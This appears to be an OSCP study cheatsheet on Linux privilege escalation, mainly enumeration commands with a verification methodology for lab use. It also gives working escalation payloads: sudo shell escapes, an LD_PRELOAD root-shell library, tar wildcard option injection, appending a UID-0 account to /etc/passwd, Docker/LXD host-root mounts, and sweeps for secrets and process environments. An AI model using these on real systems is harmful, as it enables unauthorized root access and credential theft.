OSCP Reference

10.9 Linux Privilege Escalation Cheatsheet

Starting with a shell?

Establish your identity and host context, then follow the evidence you find.

Start the first checks →
Already have a finding?

Open the matching investigation below. For sudo output, start with the exact rule.

Follow the finding →

← Cheatsheet index | Full procedure | Master Notes | Strategy map | Study methods: Escalate privileges on Linux

10.9.1 Find escalation candidates with an initial tool-assisted survey Early tool-assisted pass

Use a reviewed, transferred build in the current host context. Save output and select a concrete finding; a highlight is not the elevated identity.

Reuse discovery: repeated inventory commands are optional only when the relevant saved LinPEAS output is complete, readable and from the same host and identity. Check the build/options used and any errors; a missing finding is not a negative result. Revisit affected checks after a new identity, privilege, mount or service change. Keep the focused validation of every selected candidate.

id
uname -m
sh ./linpeas.sh | tee linpeas.txt

Tool-to-finding workflow.

10.9.2 Verify the conditions that make an escalation path usable Candidate proof

controlled object → effective permission → privileged consumer → execution identity → trigger → effect → verified identity

Do not exploit an automated highlight until every link is supported. Prioritize credentials/sudo, writable root consumers and SUID/capabilities before software/kernel exploits.

10.9.3 Find promising paths from your current access First pass

Discovery may already be covered: reuse captured OS, network, process and mount inventory. Confirm the current identity directly and inspect the actual sudo -l rules; a noninteractive password failure does not establish that no sudo rights exist.

hostname; id; groups
uname -a; cat /etc/os-release; getconf LONG_BIT
pwd; umask; env
ip addr; ip route; ss -lntup; ss -lxnp
ps auxf
mount; findmnt; lsblk; df -hT
sudo -n -l 2>&1
sudo -l
getent passwd
awk -F: '$3 == 0 || $7 !~ /(nologin|false)$/ {print $1,$3,$4,$6,$7}' /etc/passwd

10.9.4 Verify your effective access to the resource the attack depends on Prove effective permissions

Validate the finding: keep the exact-object, parent-directory, ACL and mount checks below. A broad writable-file list does not establish control of a privileged consumer. Repeating the broad writable inventory is optional when equivalent current output is available.

namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
findmnt -T /PATH/TO/OBJECT -o TARGET,SOURCE,FSTYPE,OPTIONS
find / -xdev -type f -writable -ls 2>/dev/null
find / -xdev -type d -writable -ls 2>/dev/null

Parent write+execute may permit replacement. ACLs can override the mode-bit impression. nosuid blocks SUID/SGID/file capabilities; noexec blocks direct execution; ro blocks changes.

10.9.5 Find credentials you can use for another identity Credentials and files

Discovery may already be covered: use collected file paths and credential candidates to choose a specific readable artifact. Investigate when indicated: inspect the application's real configuration and referenced files; a generic secret search is not complete application coverage. Verify any recovered identity and its relevant access.

history 2>/dev/null
find /home /root -maxdepth 3 -type f \
  \( -name '.*history' -o -name '*.conf' -o -name '*.ini' -o -name '*.env' \
     -o -name 'id_*' -o -name '*.pem' -o -name '*.key' -o -name '*.bak' \) \
  -readable 2>/dev/null
grep -RniE 'pass(word)?|secret|token|api[_-]?key|connection(string)?' \
  /var/www /opt /srv /etc 2>/dev/null | head -n 200
ps auxww
ps eww -u root 2>/dev/null
tr '\0' ' ' < /proc/PID/cmdline 2>/dev/null; echo
tr '\0' '\n' < /proc/PID/environ 2>/dev/null
w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null

Record user/service context before su, sudo, SSH or application validation. /proc access and short process lifetime can hide values. Session/agent sockets require effective access and a useful live identity.

10.9.6 Check whether your sudo rights enable higher privileges Sudo

Run/context: on the Linux foothold, as the identity whose sudo rights you are testing. Decide: an allowed command is only a candidate; resolve its run-as identity and exact argument restrictions. If the attempted operation fails, check effective permissions and the failure map before trying a different permitted operation.

Validate the finding: retain the exact rule, run-as identity, arguments, environment restrictions and allowed execution mode. Reuse a complete current rule listing, but do not substitute a LinPEAS highlight for reading that rule.

sudo -n -l 2>&1
sudo -l
sudo --version

Check: run-as user/group, exact path, arguments/wildcards, password tag, SETENV, env_keep, secure_path, NOEXEC.

sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

Match exact rule and mode in GTFOBins. A binary name alone is insufficient.

10.9.6.1 Check whether sudo preserves a controlled preload library LD_PRELOAD only when allowed/preserved
sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
  unsetenv("LD_PRELOAD");
  setgid(0); setuid(0);
  system("/bin/sh");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM

10.9.7 Find privileged executables you can use SUID / SGID / capabilities

A privileged executable or capability is a candidate; verify its exact operation and execution context.

Discovery may already be covered: reuse the SUID/SGID and file-capability inventories if those checks completed. Validate the finding: inspect the selected binary, mount restrictions, namespace, effective capability and privilege-preserving operation before using it.

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null
namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null

Capability triage:

High priority: cap_setuid, cap_setgid, cap_dac_override, cap_dac_read_search,
               cap_sys_ptrace, cap_sys_admin, cap_setfcap, cap_sys_module
Contextual:    cap_net_raw and narrow service capabilities
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status
/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

Last command requires effective cap_setuid on that exact interpreter. Check bounding set, namespace, mount and privilege retention.

10.9.8 Find privileged execution that consumes something you control Cron, timers, services and short-lived processes

Check the privileged consumer, controlled input and actual schedule or trigger.

Discovery may already be covered: reuse collected cron, timer and service entries. Investigate when indicated: trace suspicious scripts and referenced inputs, or observe transient execution with pspy. A snapshot does not settle short-lived jobs, execution identity or a usable trigger.

crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100
systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles
./pspy64
./pspy64 -pf -i 1000
namei -l /PATH/TO/SCRIPT
stat /PATH/TO/SCRIPT /PATH/TO/PARENT
getfacl -p /PATH/TO/SCRIPT /PATH/TO/PARENT 2>/dev/null

Need controllable referenced object + higher run identity + schedule/restart trigger. Cron environment differs from the interactive shell; writable service config still needs reload/restart.

Use the same chain for backup, logrotate, package-maintenance and custom housekeeping hooks.

10.9.9 Check whether you can redirect a privileged command lookup PATH hijacking

Prove the privileged consumer uses the controlled name, expansion or search path.

Investigate when indicated: a writable PATH entry is a lead. Validate the privileged consumer's actual command lookup and environment; your interactive PATH alone does not prove this route.

echo "$PATH" | tr ':' '\n'
echo "$PATH" | tr ':' '\n' | while IFS= read -r d; do
  [ -z "$d" ] && d=.
  [ -w "$d" ] && ls -ld "$d"
done
strings /PATH/TO/PRIVILEGED_BINARY | grep -E '(^|[^/])(cp|tar|service|sh|bash|cat)( |$)'
printf '#!/bin/sh\n/usr/bin/id > /tmp/path-proof\n' > /WRITABLE/DIR/helper
chmod 700 /WRITABLE/DIR/helper
PATH=/WRITABLE/DIR:$PATH /PATH/TO/TRIGGER
cat /tmp/path-proof

Need relative command + consumer's effective PATH + earlier writable directory + privileged trigger.

10.9.10 Check whether controlled filenames become privileged command options Wildcard option injection

Prove the privileged consumer uses the controlled name, expansion or search path.

Investigate when indicated: inspect a privileged job that expands controlled filenames. Verify its actual working directory, utility behavior and trigger even if an enumerator identified a wildcard candidate.

grep -RniE 'tar .+\*|chown .+\*|chmod .+\*|rsync .+\*' \
  /etc/cron* /etc/systemd /opt /usr/local 2>/dev/null

GNU tar, only in the privileged job's writable working directory:

printf '#!/bin/sh\n/usr/bin/id > /tmp/wildcard-proof\n' > proof.sh
chmod 700 proof.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh proof.sh'

Confirm expansion, option support/order, utility implementation, identity and trigger.

10.9.11 Check whether writable account or policy files enable higher privileges Writable account and policy files

Discovery may already be covered: reuse current account/policy-file permission candidates. Validate the finding: verify exact effective write or replacement access and a recovery path before changing an account or policy file.

ls -l /etc/passwd /etc/shadow /etc/sudoers
namei -l /etc/passwd
getfacl -p /etc/passwd 2>/dev/null
10.9.11.1 Writable /etc/passwd — disposable authorized lab
cp /etc/passwd /tmp/passwd.backup
HASH=$(openssl passwd -6 'TEMP_PASSWORD')
printf 'root2:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /etc/passwd
su - root2
id

Preserve/restore the original. Avoid direct change without a recovery path.

10.9.12 Check whether group or socket access gives you higher privileges Groups, sockets and containers

Discovery may already be covered: reuse group membership and socket inventory. Validate the finding: check access to the actual daemon/socket, its authority and host/namespace boundary; a group name or installed client alone is insufficient.

id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh
lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

Docker/LXD need actual daemon rights and suitable configuration/image. Also investigate disk, shadow, adm, systemd-journal and libvirt by the resource they expose.

10.9.13 Find escalation paths through mounts and local services Mounts, NFS, local services and libraries

Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.

Discovery may already be covered: reuse the collected mounts and listening endpoints. Investigate when indicated: validate export mappings, service authorization or the privileged program's real library resolution for the selected candidate.

findmnt
cat /etc/fstab
mount
ss -lntup
ss -lxnp

NFS privesc requires a writable no_root_squash export plus target execution from a mount where SUID is effective. Root-only listeners/sockets still need a controllable privileged action.

file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null

Library hijacking needs a privileged dynamic consumer and a writable selected search location/preserved variable. Prefer readelf when the executable is untrusted.

grep -nE '^(import|from) |require\(|include|source |\. ' /PATH/TO/SCRIPT
/PATH/TO/python3 -c 'import sys; print("\n".join(sys.path))'

For interpreter/module hijacking, prove the privileged script's actual import/include search order; an interactive search path may differ.

10.9.14 Assess matching software or kernel exploits after permission checks Software/kernel candidates — last

Use a matching affected build/configuration only after stronger permission-backed candidates have been assessed.

Investigate when indicated: assess an affected build/configuration after stronger permission-backed leads. A version or CVE highlight is a candidate, not proof that the running kernel or package is exploitable.

uname -a
cat /proc/version
cat /etc/os-release
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
sudo --version
lsmod
sysctl kernel.unprivileged_userns_clone 2>/dev/null
searchsploit "PRODUCT VERSION local privilege escalation"
searchsploit -x EDB_ID
searchsploit -m EDB_ID
gcc -Wall -Wextra exploit.c -o exploit
file exploit
sha256sum exploit

Match exact build/backports, architecture, configuration, namespace/capability, mitigations and dependencies. Review source and crash/recovery risk.

10.9.15 Investigate remaining gaps with a focused automated survey Automated candidate generation

Optional repeated survey: if the initial LinPEAS run completed and its output has been reviewed, do not rerun it unchanged by default. Choose additional collection only for a named gap, unavailable check or changed access context.

./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt

LinPEAS -a is slower/noisier and adds password attempts/process monitoring; use only when justified. LSE -l2 and unix-privesc-check detailed are later depth, not baseline. Transfer a trusted copy and record its hash instead of piping an unverified download to sh.

10.9.16 Choose the next check from the failure you observed Failure quick map

SymptomNext check
Sudo escape failsExact args/run-as, NOEXEC, privilege drop, MAC logs
SUID/capability stays lowOwner/mode/exact path, nosuid, effective/bounding set, namespace
Cron/service never firesDefinition, run user, schedule/restart, PATH/shell/cwd, pspy/logs
PATH/wildcard ignoredAbsolute path or reset PATH; expansion cwd/option parsing
Docker deniedSocket ACL, active group session, rootless/authz/userns controls
Kernel PoC failsExact affected build/config, arch, toolchain/dependencies
Enumerator reports “possible”Manually prove object, consumer, identity and trigger

10.9.17 Verify and re-enumerate

id; whoami; groups
hostname; pwd
ip addr; ip route

Re-enumerate protected files, credentials, services, listeners, mounts and routes after the identity change.

10.9.18 Discover and recognize candidates

Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.

10.9.18.1 Escalate privileges on Linux

10.9.18.1.1 Find: Establish Linux state and choose an escalation candidate

At a new shell collect effective IDs/groups, current mounts, root-owned activity and exact sudo rules before choosing a technique.

id
findmnt
ps auxww
sudo -l

Recognize: The sudo rule and privileged backup consumer open different candidate families; neither should be replaced by an automatic kernel choice.

Validate next: For each candidate establish exact permitted operation/object, run-as identity and trigger.

Establish Linux state and choose an escalation candidate.

10.9.18.1.2 Find: Prove effective file, directory, ACL and mount control

From a real privileged script/binary/configuration path inspect every parent, ACL and effective mount before assuming control.

namei -l /PATH/TO/OBJECT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT
findmnt -T /PATH/TO/OBJECT

Recognize: Parent replacement can provide a control primitive even when the existing file's write bit is absent.

Validate next: Run namei -l, stat and getfacl on the exact path and its parents, then findmnt -T for ro/noexec/nosuid. Check the identity and trigger of the process that uses this path; write permission alone is not execution.

Prove effective file, directory, ACL and mount control.

10.9.18.1.3 Commands and use-case variants

Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
findmnt -T /PATH/TO/OBJECT -o TARGET,SOURCE,FSTYPE,OPTIONS

Directory write+execute can permit replacement even when the file is not writable. ACLs can add/remove effective access. nosuid defeats SUID/SGID and file-capability effects; noexec blocks direct execution; ro blocks changes.

Discover writable objects, then prioritize root-owned configuration, scripts, binaries and parents under /etc, /opt, /usr/local, application paths and service working directories:

find / -xdev -type f -writable -ls 2>/dev/null
find / -xdev -type d -writable -ls 2>/dev/null

Verify: Prove the specific read/write/replace action and consumer path; world-writable alone is not the complete escalation chain.

If it fails: A read-only/noexec/nosuid mount changes which effects are possible. Find another consumer rather than assuming every permission bypasses mount policy.

10.9.18.1.4 Find: Recover credentials from Linux user, service and process trails

Follow observed application processes and directories into readable configuration, history and environment; prioritize paths tied to actual services.

ps auxww
history
find /opt /var/www /srv -maxdepth 3 -type f -readable 2>/dev/null

Recognize: An actual service's readable configuration supplies an identity-labelled secret candidate.

Validate next: Read the named config/history/process artifact and record the user, service and host it belongs to. Classify a recovered password/key, test one matching service context and verify the accepted identity before trying reuse elsewhere.

Recover credentials from Linux user, service and process trails.

10.9.18.1.5 Commands and use-case variants

Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

history 2>/dev/null
find /home /root -maxdepth 3 -type f \
  \( -name '.*history' -o -name '*.conf' -o -name '*.ini' -o -name '*.env' \
     -o -name 'id_*' -o -name '*.pem' -o -name '*.key' -o -name '*.bak' \) \
  -readable 2>/dev/null

grep -RniE 'pass(word)?|secret|token|api[_-]?key|connection(string)?' \
  /var/www /opt /srv /etc 2>/dev/null | head -n 200

Inspect process arguments and readable process environment:

ps auxww
ps eww -u root 2>/dev/null
tr '\0' ' ' < /proc/PID/cmdline 2>/dev/null; echo
tr '\0' '\n' < /proc/PID/environ 2>/dev/null

Check reusable local sessions/agents only when their sockets are accessible:

w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null

An agent, tmux/screen or daemon socket needs effective socket access and a useful authenticated/privileged session. Presence alone is not session hijacking.

Next: identify the value's user/service context, validate the smallest relevant transition (su, sudo, SSH or application authentication), then re-enumerate. Use credential handling for cracking/reuse.

find /home /var/www /opt /srv -type f \
  \( -iname '*.conf' -o -iname '*.ini' -o -iname '*.env' -o -iname '*.bak' \
     -o -iname '*.old' -o -iname '*.key' -o -iname '*.pem' \) 2>/dev/null

rg -ni 'password|passwd|token|secret|api[_-]?key|connection(string)?' \
  /var/www /opt /srv 2>/dev/null

Verify: Record source, exact material type and validated identity/service; keep real secrets in private lab records.

If it fails: Stale examples and unrelated tokens are common. A denied process read is a visibility limit, not evidence that no credentials exist elsewhere.

10.9.18.1.6 Find: Use an allowed sudo operation to cross a privilege boundary

Run the exact sudo policy query from the current user and read run-as identity, executable, arguments and tags.

sudo -n -l 2>&1
sudo -l

Recognize: The rule permits that exact program as root; its documented privileged operation becomes a candidate.

Validate next: Read sudo -l: match the run-as user, exact executable and allowed arguments. Check NOPASSWD/password access and NOEXEC/environment restrictions; choose only the GTFOBins operation that the full rule permits, then verify id.

Use an allowed sudo operation to cross a privilege boundary.

10.9.18.1.7 Find: Load a controlled library through a permitted sudo environment

Inspect sudo's environment-related tags/defaults and the exact allowed executable's dynamic-linking evidence.

sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM

Recognize: Explicit environment permission plus a compatible dynamic consumer suggests a loader-injection candidate.

Validate next: Confirm SETENV or explicit LD_PRELOAD preservation in sudo -l and a dynamically linked allowed program. Use only the permitted environment form; inspect the resulting id rather than assuming the shared library ran as root.

Load a controlled library through a permitted sudo environment.

10.9.18.1.8 Find: Use a SUID or SGID program's exposed privileged primitive

Inventory privileged-mode files, then focus on custom/nonstandard programs and inspect ownership, mount and documented behavior.

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
file /PATH/TO/BINARY

Recognize: The s bits identify an execution credential mechanism; nonstandard behavior warrants inspection but is not a vulnerability itself.

Validate next: Run stat on the flagged executable and findmnt -T on its path. Check the SUID owner, nosuid and exact binary behavior; after a permitted operation run id to see whether the elevated effective UID was retained.

Use a SUID or SGID program's exposed privileged primitive.

10.9.18.1.9 Commands and use-case variants

Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

Rank nonstandard/custom paths, unexpected versions, writable binaries/parents and dangerous interpreters. Inspect one candidate:

namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null

Look for a documented SUID/capability primitive, unsafe relative helper, arbitrary file operation, user-controlled config/plugin or exact vulnerable version. Normal distribution SUID files are not findings by themselves.

10.9.18.1.10 Capability interpretation and example

High-value capability candidates include cap_setuid, cap_setgid, cap_dac_override, cap_dac_read_search, cap_sys_ptrace, cap_sys_admin, cap_setfcap and cap_sys_module. cap_net_raw is usually not a direct root transition.

capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

Only when the exact interpreter has effective cap_setuid:

/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

+ep indicates permitted plus the file effective bit. Bounding sets, namespaces, nosuid mounts and program behavior can still change the result.

Verify: Verify effective IDs and the exact privileged operation; a real UID or prompt label alone is insufficient.

If it fails: nosuid, privilege dropping, fixed arguments or MAC policy can invalidate a candidate. Distinguish a file-read primitive from arbitrary execution.

10.9.18.1.11 Find: Use a file capability that enables a specific privileged operation

Search file capabilities and inspect the exact program plus current namespace/bounding context.

getcap -r / 2>/dev/null
capsh --print 2>/dev/null

Recognize: The specific interpreter has effective set-UID authority, unlike an ordinary copy of python3 elsewhere.

Validate next: Read getcap for the exact executable, inspect its mount and match the named capability to the program operation. A version or capability name alone does not prove that the program retains a useful effective capability.

Use a file capability that enables a specific privileged operation.

10.9.18.1.12 Find: Control a script, binary or configuration consumed by a privileged job/service

Inspect actual cron/systemd definitions and running processes, then follow their action paths into permission checks.

cat /etc/crontab
systemctl list-timers --all
ps auxww

Recognize: The schedule explicitly names a privileged consumer and an exact file to inspect.

Validate next: Observe the actual command and UID with pspy or inspect the unit with systemctl cat/show. Run namei -l, stat and getfacl on the consumed path and parents; identify the timer, restart or invocation before changing the file.

Control a script, binary or configuration consumed by a privileged job/service.

10.9.18.1.13 Commands and use-case variants

Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100

systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles

Observe short-lived commands:

./pspy64
./pspy64 -pf -i 1000

Validate every referenced script, binary, configuration, environment file, plugin and parent:

namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null

Prove: exact object is controllable → job/service consumes it → process runs as a higher identity → schedule/restart/other trigger is available. A writable unit still needs a privileged reload/restart or automatic trigger. Cron uses a different/minimal environment.

Apply the same proof to backup, logrotate, package-maintenance and custom housekeeping hooks: configuration visibility or a writable output is insufficient unless a higher-privileged consumer interprets attacker-controlled input.

Verify: Verify the consumer's resulting effect and identity; editing a file without an observed trigger is incomplete.

If it fails: Wrong path, service sandbox, missing trigger or another effective identity breaks the chain. Use process observation and permission checks.

10.9.18.1.14 Find: Hijack an unqualified helper through controlled PATH resolution

Inspect a verified privileged helper/script for unqualified executable names and compare its actual PATH with writable directories.

printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY
strings /PATH/TO/REVIEWED_BINARY

Recognize: An unqualified helper can resolve through the controlled earlier directory in the consumer's environment.

Validate next: Find the helper name in the privileged script or observed pspy command. Check that it is unqualified and identify the consumer's real PATH; a writable directory matters only if that consumer searches it first.

Hijack an unqualified helper through controlled PATH resolution.

10.9.18.1.15 Find: Turn wildcard-expanded filenames into privileged command options

Read the exact privileged command line and inspect the directory over which its shell glob expands.

cat /PATH/TO/REVIEWED_JOB_SCRIPT
ls -la /PATH/TO/JOB_DIRECTORY
namei -l /PATH/TO/JOB_DIRECTORY

Recognize: Controlled filenames may become utility arguments after glob expansion; the exact utility and option ordering decide the method.

Validate next: Inspect the exact privileged command: confirm that a wildcard expands attacker-controlled names into option positions and that the utility interprets those options. A writable directory without that command/trigger does not enable this route.

Turn wildcard-expanded filenames into privileged command options.

10.9.18.1.16 Find: Change a writable account or privilege-policy file

Check permissions on the account/policy file identified by enumeration, including parents and mount state, before any content change.

stat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null

Recognize: A sensitive account file appears writable; the authentication implementation and valid record syntax determine its effect.

Validate next: Preserve original state; confirm exact effective write, file consumer, useful identity and recovery/trigger.

Change a writable account or privilege-policy file.

10.9.18.1.17 Find: Use privileged group, daemon or container-management control

Inspect groups, local sockets and namespace context, then use only permitted read-only daemon inventory to identify rootful/rootless behavior.

id
ls -l /var/run/docker.sock
cat /proc/1/cgroup

Recognize: Effective socket access suggests daemon control; group text alone does not establish host-affecting rootful operations.

Validate next: Check API acceptance, rootful/rootless and namespace policy, available resources and the specific host operation.

Use privileged group, daemon or container-management control.

10.9.18.1.18 Commands and use-case variants

Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation

id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
lxc list 2>/dev/null

Group candidates include docker, lxd/lxc, disk, shadow, adm, systemd-journal and libvirt. Prove the associated resource and effective permission.

10.9.18.1.19 Rootful Docker daemon with an available image
docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh

Requires daemon/socket access, a rootful daemon, usable image and allowed host bind mount. Rootless mode, user namespaces, authorization plugins and SELinux can change the effect.

10.9.18.1.20 LXD/LXC with an available image alias
lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

Requires configured daemon access, sufficient group rights, image availability and privileged-container/device support.

Verify: Distinguish host and container namespace, effective UID and the exact host operation.

If it fails: Rootless mode, user namespaces, policy or absent images can change the route. Do not equate a container prompt with host compromise.

10.9.18.1.21 Find: Exploit a permission-backed mount, NFS mapping or local service

Inspect mounts, exports and local listeners after the foothold; correlate each with its identity and reachable service.

findmnt
cat /etc/exports 2>/dev/null
ss -lntup

Recognize: A local-only service or export mapping creates a specific investigation route, not automatic escalation.

Validate next: For the service check accepted identity/rights; for NFS check client mapping, write permissions, mount flags and target-side consumer.

Exploit a permission-backed mount, NFS mapping or local service.

10.9.18.1.22 Find: Control a privileged program's shared-library resolution

Inspect the reviewed privileged executable's dependencies/search paths and permission-check the actual selected library directory.

readelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY

Recognize: A named dependency plus a potentially controlled search location is a loader-resolution candidate.

Validate next: Verify actual runtime selection, ABI/symbols, secure-execution rules, retained privilege and a trigger.

Control a privileged program's shared-library resolution.

10.9.18.1.23 Find: Select an evidence-matched Linux software or kernel exploit

Collect distribution build/package/architecture and the required local feature before comparing a specific advisory/PoC.

uname -a
cat /etc/os-release
getconf LONG_BIT

Recognize: A version-associated advisory is a candidate; backports and feature state determine applicability.

Validate next: Collect uname and the distribution's package/build plus architecture. Match the advisory's vulnerable feature and vendor patch status before choosing a PoC; try a confirmed sudo/file/credential route first when one exists.

Select an evidence-matched Linux software or kernel exploit.

10.9.18.1.24 Find: Use enumeration tools to generate manually testable candidates

Use known manual gaps and the host/runtime context to choose a reviewed enumerator; inspect each highlighted finding against native evidence.

id
uname -m
command -v bash python3
ls -ld /tmp

Recognize: The highlight supplies a candidate object, not the missing privileged consumer or execution trigger.

Validate next: Run the reviewed LinPEAS baseline and save its output. For sudo highlights run sudo -l; for a flagged file use stat/namei/getfacl; for jobs confirm the UID and command with pspy or systemctl. Open the matching technique only after that check.

Use enumeration tools to generate manually testable candidates.

10.9.18.1.25 Commands and use-case variants

Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location

For the early collector pass, transfer a reviewed LinPEAS copy, check the current UID/architecture and save its output. This form does not require an executable bit:

sh ./linpeas.sh | tee linpeas.txt

Follow the named finding into the matching sudo, SUID/capability, writable-consumer or credential procedure. Use the local help for optional modes; broader/noisier checks are not the automatic baseline.

./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt

LinPEAS optional flags vary by build. Read the local ./linpeas.sh -h before selecting broader checks; they are not the automatic baseline. LSE progresses from default to -l1, then -l2 only if needed. unix-privesc-check detailed is slower and more false-positive-prone.

For every highlight:

exact object | effective permission | privileged consumer | identity | trigger | expected effect | manual verification

Do not pipe an unverified Internet download into the target shell. Acquire a trusted copy, retain its source/hash, transfer deliberately and remove assessment artifacts when appropriate.

Verify: Read linpeas.txt. Confirm a reported sudo rule with sudo -l, a privileged path with namei/stat/getfacl, or a scheduled consumer with pspy before using that finding

If it fails: Script blocked or output empty: check the shell, transfer integrity and output path, then use the native checks for the observed rule/file/job. Empty collector output does not rule out escalation


Top of document · Reference home